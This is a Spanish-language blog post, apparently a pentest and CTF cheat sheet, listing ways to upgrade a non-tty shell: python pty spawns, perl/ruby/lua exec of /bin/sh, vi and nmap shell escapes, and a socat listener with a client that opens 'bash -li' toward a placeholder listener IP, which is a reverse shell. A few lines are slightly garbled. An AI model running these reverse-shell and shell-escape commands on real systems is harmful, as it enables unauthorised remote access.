Full width home advertisement

Post Page Advertisement [Top]

 


Buenas a todos, a menudo, durante los pentests o en CTF, podemos obtener una shell simple que no es tty. Aquí  tenemos algunos comandos que nos permitirán generar una shell tty. Obviamente esto dependerá de la máquina , de su configuración y de los paquetes instalados.


Python

  • python -c 'import pty; pty.spawn("/bin/sh")'
  • python3 -c 'import pty; pty.spawn("/bin/sh")'
  • python -c 'import pty; pty.spawn("/bin/bash")'
  • python3 -c 'import pty; pty.spawn("/bin/bash")'



Bash

  • echo os.system('/bin/bash')
  • /bin/sh -i
  • /bin/bash -i


Perl

  • perl —e 'exec "/bin/sh";'
  • perl: exec "/bin/sh";


Ruby

  • ruby: exec "/bin/sh"


Lua

  • lua: os.execute('/bin/sh')


VI

  • :!bash
  • :set shell=/bin/bash:shell


Nmap

  • !sh
  • nmap -V
  • nmap --interactive


Socat

Listener:

  • socat file:`tty`,raw,echo=0 tcp-listen:8090


Client:

  • socat tcp:<LISTENER-IP-ADDRESS>:8090 exec:"bash -li",pty,stderr,setsid,sigint,sane



No hay comentarios:

Publicar un comentario

Bottom Ad [Post Page]